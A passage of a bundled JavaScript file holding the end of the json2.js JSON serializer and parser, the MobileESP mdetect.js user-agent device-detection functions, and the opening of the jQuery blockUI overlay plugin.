  1087. if (value && typeof value === 'object' &&
  1088. typeof value.toJSON === 'function') {
  1089. value = value.toJSON(key);
  1090. }
  1091.  
  1092. // If we were called with a replacer function, then call the replacer to
  1093. // obtain a replacement value.
  1094.  
  1095. if (typeof rep === 'function') {
  1096. value = rep.call(holder, key, value);
  1097. }
  1098.  
  1099. // What happens next depends on the value's type.
  1100.  
  1101. switch (typeof value) {
  1102. case 'string':
  1103. return quote(value);
  1104.  
  1105. case 'number':
  1106.  
  1107. // JSON numbers must be finite. Encode non-finite numbers as null.
  1108.  
  1109. return isFinite(value) ? String(value) : 'null';
  1110.  
  1111. case 'boolean':
  1112. case 'null':
  1113.  
  1114. // If the value is a boolean or null, convert it to a string. Note:
  1115. // typeof null does not produce 'null'. The case is included here in
  1116. // the remote chance that this gets fixed someday.
  1117.  
  1118. return String(value);
  1119.  
  1120. // If the type is 'object', we might be dealing with an object or an array or
  1121. // null.
  1122.  
  1123. case 'object':
  1124.  
  1125. // Due to a specification blunder in ECMAScript, typeof null is 'object',
  1126. // so watch out for that case.
  1127.  
  1128. if (!value) {
  1129. return 'null';
  1130. }
  1131.  
  1132. // Make an array to hold the partial results of stringifying this object value.
  1133.  
  1134. gap += indent;
  1135. partial = [];
  1136.  
  1137. // Is the value an array?
  1138.  
  1139. if (Object.prototype.toString.apply(value) === '[object Array]') {
  1140.  
  1141. // The value is an array. Stringify every element. Use null as a placeholder
  1142. // for non-JSON values.
  1143.  
  1144. length = value.length;
  1145. for (i = 0; i < length; i += 1) {
  1146. partial[i] = str(i, value) || 'null';
  1147. }
  1148.  
  1149. // Join all of the elements together, separated with commas, and wrap them in
  1150. // brackets.
  1151.  
  1152. v = partial.length === 0 ? '[]' : gap ?
  1153. '[\n' + gap + partial.join(',\n' + gap) + '\n' + mind + ']' :
  1154. '[' + partial.join(',') + ']';
  1155. gap = mind;
  1156. return v;
  1157. }
  1158.  
  1159. // If the replacer is an array, use it to select the members to be stringified.
  1160.  
  1161. if (rep && typeof rep === 'object') {
  1162. length = rep.length;
  1163. for (i = 0; i < length; i += 1) {
  1164. if (typeof rep[i] === 'string') {
  1165. k = rep[i];
  1166. v = str(k, value);
  1167. if (v) {
  1168. partial.push(quote(k) + (gap ? ': ' : ':') + v);
  1169. }
  1170. }
  1171. }
  1172. } else {
  1173.  
  1174. // Otherwise, iterate through all of the keys in the object.
  1175.  
  1176. for (k in value) {
  1177. if (Object.prototype.hasOwnProperty.call(value, k)) {
  1178. v = str(k, value);
  1179. if (v) {
  1180. partial.push(quote(k) + (gap ? ': ' : ':') + v);
  1181. }
  1182. }
  1183. }
  1184. }
  1185.  
  1186. // Join all of the member texts together, separated with commas,
  1187. // and wrap them in braces.
  1188.  
  1189. v = partial.length === 0 ? '{}' : gap ?
  1190. '{\n' + gap + partial.join(',\n' + gap) + '\n' + mind + '}' :
  1191. '{' + partial.join(',') + '}';
  1192. gap = mind;
  1193. return v;
  1194. }
  1195. }
  1196.  
  1197. // If the JSON object does not yet have a stringify method, give it one.
  1198.  
  1199. if (typeof JSON.stringify !== 'function') {
  1200. JSON.stringify = function (value, replacer, space) {
  1201.  
  1202. // The stringify method takes a value and an optional replacer, and an optional
  1203. // space parameter, and returns a JSON text. The replacer can be a function
  1204. // that can replace values, or an array of strings that will select the keys.
  1205. // A default replacer method can be provided. Use of the space parameter can
  1206. // produce text that is more easily readable.
  1207.  
  1208. var i;
  1209. gap = '';
  1210. indent = '';
  1211.  
  1212. // If the space parameter is a number, make an indent string containing that
  1213. // many spaces.
  1214.  
  1215. if (typeof space === 'number') {
  1216. for (i = 0; i < space; i += 1) {
  1217. indent += ' ';
  1218. }
  1219.  
  1220. // If the space parameter is a string, it will be used as the indent string.
  1221.  
  1222. } else if (typeof space === 'string') {
  1223. indent = space;
  1224. }
  1225.  
  1226. // If there is a replacer, it must be a function or an array.
  1227. // Otherwise, throw an error.
  1228.  
  1229. rep = replacer;
  1230. if (replacer && typeof replacer !== 'function' &&
  1231. (typeof replacer !== 'object' ||
  1232. typeof replacer.length !== 'number')) {
  1233. throw new Error('JSON.stringify');
  1234. }
  1235.  
  1236. // Make a fake root object containing our value under the key of ''.
  1237. // Return the result of stringifying the value.
  1238.  
  1239. return str('', {'': value});
  1240. };
  1241. }
  1242.  
  1243.  
  1244. // If the JSON object does not yet have a parse method, give it one.
  1245.  
  1246. if (typeof JSON.parse !== 'function') {
  1247. JSON.parse = function (text, reviver) {
  1248.  
  1249. // The parse method takes a text and an optional reviver function, and returns
  1250. // a JavaScript value if the text is a valid JSON text.
  1251.  
  1252. var j;
  1253.  
  1254. function walk(holder, key) {
  1255.  
  1256. // The walk method is used to recursively walk the resulting structure so
  1257. // that modifications can be made.
  1258.  
  1259. var k, v, value = holder[key];
  1260. if (value && typeof value === 'object') {
  1261. for (k in value) {
  1262. if (Object.prototype.hasOwnProperty.call(value, k)) {
  1263. v = walk(value, k);
  1264. if (v !== undefined) {
  1265. value[k] = v;
  1266. } else {
  1267. delete value[k];
  1268. }
  1269. }
  1270. }
  1271. }
  1272. return reviver.call(holder, key, value);
  1273. }
  1274.  
  1275.  
  1276. // Parsing happens in four stages. In the first stage, we replace certain
  1277. // Unicode characters with escape sequences. JavaScript handles many characters
  1278. // incorrectly, either silently deleting them, or treating them as line endings.
  1279.  
  1280. text = String(text);
  1281. cx.lastIndex = 0;
  1282. if (cx.test(text)) {
  1283. text = text.replace(cx, function (a) {
  1284. return '\\u' +
  1285. ('0000' + a.charCodeAt(0).toString(16)).slice(-4);
  1286. });
  1287. }
  1288.  
  1289. // In the second stage, we run the text against regular expressions that look
  1290. // for non-JSON patterns. We are especially concerned with '()' and 'new'
  1291. // because they can cause invocation, and '=' because it can cause mutation.
  1292. // But just to be safe, we want to reject all unexpected forms.
  1293.  
  1294. // We split the second stage into 4 regexp operations in order to work around
  1295. // crippling inefficiencies in IE's and Safari's regexp engines. First we
  1296. // replace the JSON backslash pairs with '@' (a non-JSON character). Second, we
  1297. // replace all simple value tokens with ']' characters. Third, we delete all
  1298. // open brackets that follow a colon or comma or that begin the text. Finally,
  1299. // we look to see that the remaining characters are only whitespace or ']' or
  1300. // ',' or ':' or '{' or '}'. If that is so, then the text is safe for eval.
  1301.  
  1302. if (/^[\],:{}\s]*$/
  1303. .test(text.replace(/\\(?:["\\\/bfnrt]|u[0-9a-fA-F]{4})/g, '@')
  1304. .replace(/"[^"\\\n\r]*"|true|false|null|-?\d+(?:\.\d*)?(?:[eE][+\-]?\d+)?/g, ']')
  1305. .replace(/(?:^|:|,)(?:\s*\[)+/g, ''))) {
  1306.  
  1307. // In the third stage we use the eval function to compile the text into a
  1308. // JavaScript structure. The '{' operator is subject to a syntactic ambiguity
  1309. // in JavaScript: it can begin a block or an object literal. We wrap the text
  1310. // in parens to eliminate the ambiguity.
  1311.  
  1312. j = eval('(' + text + ')');
  1313.  
  1314. // In the optional fourth stage, we recursively walk the new structure, passing
  1315. // each name/value pair to a reviver function for possible transformation.
  1316.  
  1317. return typeof reviver === 'function' ?
  1318. walk({'': j}, '') : j;
  1319. }
  1320.  
  1321. // If the text is not JSON parseable, then a SyntaxError is thrown.
  1322.  
  1323. throw new SyntaxError('JSON.parse');
  1324. };
  1325. }
  1326. }());
  1327.  
  1328.  
  1329.  
  1330. /* *******************************************
  1331. // Copyright 2010-2012, Anthony Hand
  1332. // mdetect : http://code.google.com/p/mobileesp/source/browse/JavaScript/mdetect.js r215
  1333. // LICENSE INFORMATION
  1334. // Licensed under the Apache License, Version 2.0 (the "License");
  1335. // you may not use this file except in compliance with the License.
  1336. // You may obtain a copy of the License at
  1337. // http://www.apache.org/licenses/LICENSE-2.0
  1338. // Unless required by applicable law or agreed to in writing,
  1339. // software distributed under the License is distributed on an
  1340. // "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND,
  1341. // either express or implied. See the License for the specific
  1342. // language governing permissions and limitations under the License.
  1343. // *******************************************
  1344. */
  1345.  
  1346. var isIphone = false;
  1347. var isAndroidPhone = false;
  1348. var isTierTablet = false;
  1349. var isTierIphone = false;
  1350. var isTierRichCss = false;
  1351. var isTierGenericMobile = false;
  1352.  
  1353. var engineWebKit = "webkit";
  1354. var deviceIphone = "iphone";
  1355. var deviceIpod = "ipod";
  1356. var deviceIpad = "ipad";
  1357. var deviceMacPpc = "macintosh"; //Used for disambiguation
  1358.  
  1359. var deviceAndroid = "android";
  1360. var deviceGoogleTV = "googletv";
  1361. var deviceXoom = "xoom"; //Motorola Xoom
  1362. var deviceHtcFlyer = "htc_flyer"; //HTC Flyer
  1363.  
  1364. var deviceNuvifone = "nuvifone"; //Garmin Nuvifone
  1365.  
  1366. var deviceSymbian = "symbian";
  1367. var deviceS60 = "series60";
  1368. var deviceS70 = "series70";
  1369. var deviceS80 = "series80";
  1370. var deviceS90 = "series90";
  1371.  
  1372. var deviceWinPhone7 = "windows phone os 7";
  1373. var deviceWinMob = "windows ce";
  1374. var deviceWindows = "windows";
  1375. var deviceIeMob = "iemobile";
  1376. var devicePpc = "ppc"; //Stands for PocketPC
  1377. var enginePie = "wm5 pie"; //An old Windows Mobile
  1378.  
  1379. var deviceBB = "blackberry";
  1380. var vndRIM = "vnd.rim"; //Detectable when BB devices emulate IE or Firefox
  1381. var deviceBBStorm = "blackberry95"; //Storm 1 and 2
  1382. var deviceBBBold = "blackberry97"; //Bold 97x0 (non-touch)
  1383. var deviceBBBoldTouch = "blackberry 99"; //Bold 99x0 (touchscreen)
  1384. var deviceBBTour = "blackberry96"; //Tour
  1385. var deviceBBCurve = "blackberry89"; //Curve 2
  1386. var deviceBBCurveTouch = "blackberry 938"; //Curve Touch 9380
  1387. var deviceBBTorch = "blackberry 98"; //Torch
  1388. var deviceBBPlaybook = "playbook"; //PlayBook tablet
  1389.  
  1390. var devicePalm = "palm";
  1391. var deviceWebOS = "webos"; //For Palm's line of WebOS devices
  1392. var deviceWebOShp = "hpwos"; //For HP's line of WebOS devices
  1393.  
  1394. var engineBlazer = "blazer"; //Old Palm browser
  1395. var engineXiino = "xiino";
  1396.  
  1397. var deviceKindle = "kindle"; //Amazon Kindle, eInk one
  1398. var engineSilk = "silk"; //Amazon's accelerated Silk browser for Kindle Fire
  1399.  
  1400. var vndwap = "vnd.wap";
  1401. var wml = "wml";
  1402.  
  1403. var deviceTablet = "tablet"; //Generic term for slate and tablet devices
  1404. var deviceBrew = "brew";
  1405. var deviceDanger = "danger";
  1406. var deviceHiptop = "hiptop";
  1407. var devicePlaystation = "playstation";
  1408. var deviceNintendoDs = "nitro";
  1409. var deviceNintendo = "nintendo";
  1410. var deviceWii = "wii";
  1411. var deviceXbox = "xbox";
  1412. var deviceArchos = "archos";
  1413.  
  1414. var engineOpera = "opera"; //Popular browser
  1415. var engineNetfront = "netfront"; //Common embedded OS browser
  1416. var engineUpBrowser = "up.browser"; //common on some phones
  1417. var engineOpenWeb = "openweb"; //Transcoding by OpenWave server
  1418. var deviceMidp = "midp"; //a mobile Java technology
  1419. var uplink = "up.link";
  1420. var engineTelecaQ = 'teleca q'; //a modern feature phone browser
  1421.  
  1422. var devicePda = "pda";
  1423. var mini = "mini"; //Some mobile browsers put 'mini' in their names.
  1424. var mobile = "mobile"; //Some mobile browsers put 'mobile' in their user agent strings.
  1425. var mobi = "mobi"; //Some mobile browsers put 'mobi' in their user agent strings.
  1426.  
  1427. var maemo = "maemo";
  1428. var linux = "linux";
  1429. var qtembedded = "qt embedded"; //for Sony Mylo and others
  1430. var mylocom2 = "com2"; //for Sony Mylo also
  1431.  
  1432. var manuSonyEricsson = "sonyericsson";
  1433. var manuericsson = "ericsson";
  1434. var manuSamsung1 = "sec-sgh";
  1435. var manuSony = "sony";
  1436. var manuHtc = "htc"; //Popular Android and WinMo manufacturer
  1437.  
  1438. var svcDocomo = "docomo";
  1439. var svcKddi = "kddi";
  1440. var svcVodafone = "vodafone";
  1441.  
  1442. var disUpdate = "update"; //pda vs. update
  1443.  
  1444. var uagent = "";
  1445. if (navigator && navigator.userAgent)
  1446. uagent = navigator.userAgent.toLowerCase();
  1447.  
  1448. function DetectIphone()
  1449. {
  1450. if (uagent.search(deviceIphone) > -1)
  1451. {
  1452. if (DetectIpad() || DetectIpod())
  1453. return false;
  1454. else
  1455. return true;
  1456. }
  1457. else
  1458. return false;
  1459. }
  1460.  
  1461. function DetectIpod()
  1462. {
  1463. if (uagent.search(deviceIpod) > -1)
  1464. return true;
  1465. else
  1466. return false;
  1467. }
  1468.  
  1469. function DetectIpad()
  1470. {
  1471. if (uagent.search(deviceIpad) > -1 && DetectWebkit())
  1472. return true;
  1473. else
  1474. return false;
  1475. }
  1476.  
  1477. function DetectIphoneOrIpod()
  1478. {
  1479. if (uagent.search(deviceIphone) > -1 ||
  1480. uagent.search(deviceIpod) > -1)
  1481. return true;
  1482. else
  1483. return false;
  1484. }
  1485.  
  1486. function DetectIos()
  1487. {
  1488. if (DetectIphoneOrIpod() || DetectIpad())
  1489. return true;
  1490. else
  1491. return false;
  1492. }
  1493.  
  1494. function DetectAndroid()
  1495. {
  1496. if ((uagent.search(deviceAndroid) > -1) || DetectGoogleTV())
  1497. return true;
  1498. if (uagent.search(deviceHtcFlyer) > -1)
  1499. return true;
  1500. else
  1501. return false;
  1502. }
  1503.  
  1504. function DetectAndroidPhone()
  1505. {
  1506. if (DetectAndroid() && (uagent.search(mobile) > -1))
  1507. return true;
  1508. if (DetectOperaAndroidPhone())
  1509. return true;
  1510. if (uagent.search(deviceHtcFlyer) > -1)
  1511. return true;
  1512. else
  1513. return false;
  1514. }
  1515.  
  1516. function DetectAndroidTablet()
  1517. {
  1518. if (!DetectAndroid())
  1519. return false;
  1520.  
  1521. if (DetectOperaMobile())
  1522. return false;
  1523. if (uagent.search(deviceHtcFlyer) > -1)
  1524. return false;
  1525.  
  1526. if (uagent.search(mobile) > -1)
  1527. return false;
  1528. else
  1529. return true;
  1530. }
  1531.  
  1532.  
  1533. function DetectAndroidWebKit()
  1534. {
  1535. if (DetectAndroid() && DetectWebkit())
  1536. return true;
  1537. else
  1538. return false;
  1539. }
  1540.  
  1541.  
  1542. function DetectGoogleTV()
  1543. {
  1544. if (uagent.search(deviceGoogleTV) > -1)
  1545. return true;
  1546. else
  1547. return false;
  1548. }
  1549.  
  1550.  
  1551. function DetectWebkit()
  1552. {
  1553. if (uagent.search(engineWebKit) > -1)
  1554. return true;
  1555. else
  1556. return false;
  1557. }
  1558.  
  1559. function DetectS60OssBrowser()
  1560. {
  1561. if (DetectWebkit())
  1562. {
  1563. if ((uagent.search(deviceS60) > -1 ||
  1564. uagent.search(deviceSymbian) > -1))
  1565. return true;
  1566. else
  1567. return false;
  1568. }
  1569. else
  1570. return false;
  1571. }
  1572.  
  1573. function DetectSymbianOS()
  1574. {
  1575. if (uagent.search(deviceSymbian) > -1 ||
  1576. uagent.search(deviceS60) > -1 ||
  1577. uagent.search(deviceS70) > -1 ||
  1578. uagent.search(deviceS80) > -1 ||
  1579. uagent.search(deviceS90) > -1)
  1580. return true;
  1581. else
  1582. return false;
  1583. }
  1584.  
  1585. function DetectWindowsPhone7()
  1586. {
  1587. if (uagent.search(deviceWinPhone7) > -1)
  1588. return true;
  1589. else
  1590. return false;
  1591. }
  1592.  
  1593. function DetectWindowsMobile()
  1594. {
  1595. if (DetectWindowsPhone7())
  1596. return false;
  1597. if (uagent.search(deviceWinMob) > -1 ||
  1598. uagent.search(deviceIeMob) > -1 ||
  1599. uagent.search(enginePie) > -1)
  1600. return true;
  1601. if ((uagent.search(devicePpc) > -1) &&
  1602. !(uagent.search(deviceMacPpc) > -1))
  1603. return true;
  1604. if (uagent.search(manuHtc) > -1 &&
  1605. uagent.search(deviceWindows) > -1)
  1606. return true;
  1607. else
  1608. return false;
  1609. }
  1610.  
  1611. function DetectBlackBerry()
  1612. {
  1613. if (uagent.search(deviceBB) > -1)
  1614. return true;
  1615. if (uagent.search(vndRIM) > -1)
  1616. return true;
  1617. else
  1618. return false;
  1619. }
  1620.  
  1621. function DetectBlackBerryTablet()
  1622. {
  1623. if (uagent.search(deviceBBPlaybook) > -1)
  1624. return true;
  1625. else
  1626. return false;
  1627. }
  1628.  
  1629. function DetectBlackBerryWebKit()
  1630. {
  1631. if (DetectBlackBerry() &&
  1632. uagent.search(engineWebKit) > -1)
  1633. return true;
  1634. else
  1635. return false;
  1636. }
  1637.  
  1638. function DetectBlackBerryTouch()
  1639. {
  1640. if (DetectBlackBerry() &&
  1641. ((uagent.search(deviceBBStorm) > -1) ||
  1642. (uagent.search(deviceBBTorch) > -1) ||
  1643. (uagent.search(deviceBBBoldTouch) > -1) ||
  1644. (uagent.search(deviceBBCurveTouch) > -1) ))
  1645. return true;
  1646. else
  1647. return false;
  1648. }
  1649.  
  1650. function DetectBlackBerryHigh()
  1651. {
  1652. if (DetectBlackBerryWebKit())
  1653. return false;
  1654. if (DetectBlackBerry())
  1655. {
  1656. if (DetectBlackBerryTouch() ||
  1657. uagent.search(deviceBBBold) > -1 ||
  1658. uagent.search(deviceBBTour) > -1 ||
  1659. uagent.search(deviceBBCurve) > -1)
  1660. return true;
  1661. else
  1662. return false;
  1663. }
  1664. else
  1665. return false;
  1666. }
  1667.  
  1668. function DetectBlackBerryLow()
  1669. {
  1670. if (DetectBlackBerry())
  1671. {
  1672. if (DetectBlackBerryHigh() || DetectBlackBerryWebKit())
  1673. return false;
  1674. else
  1675. return true;
  1676. }
  1677. else
  1678. return false;
  1679. }
  1680.  
  1681.  
  1682. function DetectPalmOS()
  1683. {
  1684. if (uagent.search(devicePalm) > -1 ||
  1685. uagent.search(engineBlazer) > -1 ||
  1686. uagent.search(engineXiino) > -1)
  1687. {
  1688. if (DetectPalmWebOS())
  1689. return false;
  1690. else
  1691. return true;
  1692. }
  1693. else
  1694. return false;
  1695. }
  1696.  
  1697. function DetectPalmWebOS()
  1698. {
  1699. if (uagent.search(deviceWebOS) > -1)
  1700. return true;
  1701. else
  1702. return false;
  1703. }
  1704.  
  1705. function DetectWebOSTablet()
  1706. {
  1707. if (uagent.search(deviceWebOShp) > -1 &&
  1708. uagent.search(deviceTablet) > -1)
  1709. return true;
  1710. else
  1711. return false;
  1712. }
  1713.  
  1714. function DetectGarminNuvifone()
  1715. {
  1716. if (uagent.search(deviceNuvifone) > -1)
  1717. return true;
  1718. else
  1719. return false;
  1720. }
  1721.  
  1722.  
  1723. function DetectSmartphone()
  1724. {
  1725. if (DetectIphoneOrIpod()
  1726. || DetectAndroidPhone()
  1727. || DetectS60OssBrowser()
  1728. || DetectSymbianOS()
  1729. || DetectWindowsMobile()
  1730. || DetectWindowsPhone7()
  1731. || DetectBlackBerry()
  1732. || DetectPalmWebOS()
  1733. || DetectPalmOS()
  1734. || DetectGarminNuvifone())
  1735. return true;
  1736.  
  1737. return false;
  1738. };
  1739.  
  1740. function DetectArchos()
  1741. {
  1742. if (uagent.search(deviceArchos) > -1)
  1743. return true;
  1744. else
  1745. return false;
  1746. }
  1747.  
  1748. function DetectBrewDevice()
  1749. {
  1750. if (uagent.search(deviceBrew) > -1)
  1751. return true;
  1752. else
  1753. return false;
  1754. }
  1755.  
  1756. function DetectDangerHiptop()
  1757. {
  1758. if (uagent.search(deviceDanger) > -1 ||
  1759. uagent.search(deviceHiptop) > -1)
  1760. return true;
  1761. else
  1762. return false;
  1763. }
  1764.  
  1765. function DetectMaemoTablet()
  1766. {
  1767. if (uagent.search(maemo) > -1)
  1768. return true;
  1769. if ((uagent.search(linux) > -1)
  1770. && (uagent.search(deviceTablet) > -1)
  1771. && !DetectWebOSTablet()
  1772. && !DetectAndroid())
  1773. return true;
  1774. else
  1775. return false;
  1776. }
  1777.  
  1778. function DetectSonyMylo()
  1779. {
  1780. if (uagent.search(manuSony) > -1)
  1781. {
  1782. if (uagent.search(qtembedded) > -1 ||
  1783. uagent.search(mylocom2) > -1)
  1784. return true;
  1785. else
  1786. return false;
  1787. }
  1788. else
  1789. return false;
  1790. }
  1791.  
  1792. function DetectOperaMobile()
  1793. {
  1794. if (uagent.search(engineOpera) > -1)
  1795. {
  1796. if (uagent.search(mini) > -1 ||
  1797. uagent.search(mobi) > -1)
  1798. return true;
  1799. else
  1800. return false;
  1801. }
  1802. else
  1803. return false;
  1804. }
  1805.  
  1806. function DetectOperaAndroidPhone()
  1807. {
  1808. if ((uagent.search(engineOpera) > -1) &&
  1809. (uagent.search(deviceAndroid) > -1) &&
  1810. (uagent.search(mobi) > -1))
  1811. return true;
  1812. else
  1813. return false;
  1814. }
  1815.  
  1816. function DetectOperaAndroidTablet()
  1817. {
  1818. if ((uagent.search(engineOpera) > -1) &&
  1819. (uagent.search(deviceAndroid) > -1) &&
  1820. (uagent.search(deviceTablet) > -1))
  1821. return true;
  1822. else
  1823. return false;
  1824. }
  1825.  
  1826. function DetectSonyPlaystation()
  1827. {
  1828. if (uagent.search(devicePlaystation) > -1)
  1829. return true;
  1830. else
  1831. return false;
  1832. };
  1833.  
  1834. function DetectNintendo()
  1835. {
  1836. if (uagent.search(deviceNintendo) > -1 ||
  1837. uagent.search(deviceWii) > -1 ||
  1838. uagent.search(deviceNintendoDs) > -1)
  1839. return true;
  1840. else
  1841. return false;
  1842. };
  1843.  
  1844. function DetectXbox()
  1845. {
  1846. if (uagent.search(deviceXbox) > -1)
  1847. return true;
  1848. else
  1849. return false;
  1850. };
  1851.  
  1852. function DetectGameConsole()
  1853. {
  1854. if (DetectSonyPlaystation())
  1855. return true;
  1856. if (DetectNintendo())
  1857. return true;
  1858. if (DetectXbox())
  1859. return true;
  1860. else
  1861. return false;
  1862. };
  1863.  
  1864. function DetectKindle()
  1865. {
  1866. if (uagent.search(deviceKindle) > -1 &&
  1867. !DetectAndroid())
  1868. return true;
  1869. else
  1870. return false;
  1871. }
  1872.  
  1873. function DetectAmazonSilk()
  1874. {
  1875. if (uagent.search(engineSilk) > -1)
  1876. return true;
  1877. else
  1878. return false;
  1879. }
  1880.  
  1881. function DetectMobileQuick()
  1882. {
  1883. if (DetectTierTablet())
  1884. return false;
  1885.  
  1886. if (DetectSmartphone())
  1887. return true;
  1888.  
  1889. if (uagent.search(deviceMidp) > -1 ||
  1890. DetectBrewDevice())
  1891. return true;
  1892.  
  1893. if (DetectOperaMobile())
  1894. return true;
  1895.  
  1896. if (uagent.search(engineNetfront) > -1)
  1897. return true;
  1898. if (uagent.search(engineUpBrowser) > -1)
  1899. return true;
  1900. if (uagent.search(engineOpenWeb) > -1)
  1901. return true;
  1902.  
  1903. if (DetectDangerHiptop())
  1904. return true;
  1905.  
  1906. if (DetectMaemoTablet())
  1907. return true;
  1908. if (DetectArchos())
  1909. return true;
  1910.  
  1911. if ((uagent.search(devicePda) > -1) &&
  1912. !(uagent.search(disUpdate) > -1))
  1913. return true;
  1914. if (uagent.search(mobile) > -1)
  1915. return true;
  1916.  
  1917. if (DetectKindle() ||
  1918. DetectAmazonSilk())
  1919. return true;
  1920.  
  1921. return false;
  1922. };
  1923.  
  1924.  
  1925. function DetectMobileLong()
  1926. {
  1927. if (DetectMobileQuick())
  1928. return true;
  1929. if (DetectGameConsole())
  1930. return true;
  1931. if (DetectSonyMylo())
  1932. return true;
  1933.  
  1934. if (uagent.search(manuSamsung1) > -1 ||
  1935. uagent.search(manuSonyEricsson) > -1 ||
  1936. uagent.search(manuericsson) > -1)
  1937. return true;
  1938.  
  1939. if (uagent.search(svcDocomo) > -1)
  1940. return true;
  1941. if (uagent.search(svcKddi) > -1)
  1942. return true;
  1943. if (uagent.search(svcVodafone) > -1)
  1944. return true;
  1945.  
  1946.  
  1947. return false;
  1948. };
  1949.  
  1950.  
  1951. function DetectTierTablet()
  1952. {
  1953. if (DetectIpad()
  1954. || DetectAndroidTablet()
  1955. || DetectBlackBerryTablet()
  1956. || DetectWebOSTablet())
  1957. return true;
  1958. else
  1959. return false;
  1960. };
  1961.  
  1962. function DetectTierIphone()
  1963. {
  1964. if (DetectIphoneOrIpod())
  1965. return true;
  1966. if (DetectAndroidPhone())
  1967. return true;
  1968. if (DetectBlackBerryWebKit() && DetectBlackBerryTouch())
  1969. return true;
  1970. if (DetectWindowsPhone7())
  1971. return true;
  1972. if (DetectPalmWebOS())
  1973. return true;
  1974. if (DetectGarminNuvifone())
  1975. return true;
  1976. else
  1977. return false;
  1978. };
  1979.  
  1980. function DetectTierRichCss()
  1981. {
  1982. if (DetectMobileQuick())
  1983. {
  1984. if (DetectTierIphone() || DetectKindle())
  1985. return false;
  1986.  
  1987. if (DetectWebkit())
  1988. return true;
  1989. if (DetectS60OssBrowser())
  1990. return true;
  1991.  
  1992. if (DetectBlackBerryHigh())
  1993. return true;
  1994.  
  1995. if (DetectWindowsMobile())
  1996. return true;
  1997.  
  1998. if (uagent.search(engineTelecaQ) > -1)
  1999. return true;
  2000.  
  2001. else
  2002. return false;
  2003. }
  2004. else
  2005. return false;
  2006. };
  2007.  
  2008. function DetectTierOtherPhones()
  2009. {
  2010. if (DetectMobileLong())
  2011. {
  2012. if (DetectTierIphone() || DetectTierRichCss())
  2013. return false;
  2014.  
  2015. else
  2016. return true;
  2017. }
  2018. else
  2019. return false;
  2020. };
  2021.  
  2022.  
  2023. function InitDeviceScan()
  2024. {
  2025. isIphone = DetectIphoneOrIpod();
  2026. isAndroidPhone = DetectAndroidPhone();
  2027. isTierIphone = DetectTierIphone();
  2028. isTierTablet = DetectTierTablet();
  2029.  
  2030. isTierRichCss = DetectTierRichCss();
  2031. isTierGenericMobile = DetectTierOtherPhones();
  2032. };
  2033.  
  2034. try {
  2035. InitDeviceScan();
  2036. }catch(e){}
  2037.  
  2038.  
  2039. /*!
  2040. * jQuery blockUI plugin
  2041. * Version 2.70.0-2014.11.23
  2042. * Requires jQuery v1.7 or later
  2043. *
  2044. * Examples at: http://malsup.com/jquery/block/
  2045. * Copyright (c) 2007-2013 M. Alsup
  2046. * Dual licensed under the MIT and GPL licenses:
  2047. * http://www.opensource.org/licenses/mit-license.php
  2048. * http://www.gnu.org/licenses/gpl.html
  2049. *
  2050. * Thanks to Amir-Hossein Sobhi for some excellent contributions!
  2051. */
  2052.  
  2053. ;(function() {
  2054. /*jshint eqeqeq:false curly:false latedef:false */
  2055. "use strict";
  2056.  
  2057. function setup($) {
  2058. $.fn._fadeIn = $.fn.fadeIn;
  2059.  
  2060. var noOp = $.noop || function() {};
  2061.  
  2062. // this bit is to ensure we don't call setExpression when we shouldn't (with extra muscle to handle
  2063. // confusing userAgent strings on Vista)
  2064. var msie = /MSIE/.test(navigator.userAgent);
  2065. var ie6 = /MSIE 6.0/.test(navigator.userAgent) && ! /MSIE 8.0/.test(navigator.userAgent);
  2066. var mode = document.documentMode || 0;
  2067. var setExpr = $.isFunction( document.createElement('div').style.setExpression );
  2068.  
  2069. // global $ methods for blocking/unblocking the entire page
  2070. $.blockUI = function(opts) { install(window, opts); };
  2071. $.unblockUI = function(opts) { remove(window, opts); };
  2072.  
  2073. // convenience method for quick growl-like notifications (http://www.google.com/search?q=growl)
  2074. $.growlUI = function(title, message, timeout, onClose) {
  2075. var $m = $('<div class="growlUI"></div>');
  2076. if (title) $m.append('<h1>'+title+'</h1>');
  2077. if (message) $m.append('<h2>'+message+'</h2>');
  2078. if (timeout === undefined) timeout = 3000;
  2079.  
  2080. // Added by konapun: Set timeout to 30 seconds if this growl is moused over, like normal toast notifications
  2081. var callBlock = function(opts) {
  2082. opts = opts || {};
  2083.  
  2084. $.blockUI({
  2085. message: $m,
  2086. fadeIn : typeof opts.fadeIn !== 'undefined' ? opts.fadeIn : 700,
  2087. fadeOut: typeof opts.fadeOut !== 'undefined' ? opts.fadeOut : 1000,
  2088. timeout: typeof opts.timeout !== 'undefined' ? opts.timeout : timeout,
  2089. centerY: false,
  2090. showOverlay: false,
  2091. onUnblock: onClose,
  2092. css: $.blockUI.defaults.growlCSS
  2093. });
  2094. };
  2095.  
  2096. callBlock();
  2097. var nonmousedOpacity = $m.css('opacity');
  2098. $m.mouseover(function() {
  2099. callBlock({
  2100. fadeIn: 0,
  2101. timeout: 30000
  2102. });
  2103.  
  2104. var displayBlock = $('.blockMsg');
  2105. displayBlock.stop(); // cancel fadeout if it has started
  2106. displayBlock.fadeTo(300, 1); // make it easier to read the message by removing transparency
  2107. }).mouseout(function() {
  2108. $('.blockMsg').fadeOut(1000);
  2109. });
  2110. // End konapun additions
  2111. };
  2112.  
  2113. // plugin method for blocking element content
  2114. $.fn.block = function(opts) {
  2115. if ( this[0] === window ) {
  2116. $.blockUI( opts );
  2117. return this;
  2118. }
  2119. var fullOpts = $.extend({}, $.blockUI.defaults, opts || {});
  2120. this.each(function() {
  2121. var $el = $(this);
  2122. if (fullOpts.ignoreIfBlocked && $el.data('blockUI.isBlocked'))
  2123. return;
  2124. $el.unblock({ fadeOut: 0 });
  2125. });
  2126.  
  2127. return this.each(function() {
  2128. if ($.css(this,'position') == 'static') {
  2129. this.style.position = 'relative';
  2130. $(this).data('blockUI.static', true);
  2131. }
  2132. this.style.zoom = 1; // force 'hasLayout' in ie
  2133. install(this, opts);
  2134. });
  2135. };
  2136.  
  2137. // plugin method for unblocking element content
  2138. $.fn.unblock = function(opts) {
  2139. if ( this[0] === window ) {
  2140. $.unblockUI( opts );
  2141. return this;
  2142. }
  2143. return this.each(function() {
  2144. remove(this, opts);
  2145. });
  2146. };
  2147.  
  2148. $.blockUI.version = 2.70; // 2nd generation blocking at no extra cost!
  2149.  
  2150. // override these in your code to change the default behavior and style
  2151. $.blockUI.defaults = {
  2152. // message displayed when blocking (use null for no message)
  2153. message: '<h1>Please wait...</h1>',
  2154.  
  2155. title: null, // title string; only used when theme == true
  2156. draggable: true, // only used when theme == true (requires jquery-ui.js to be loaded)
  2157.  
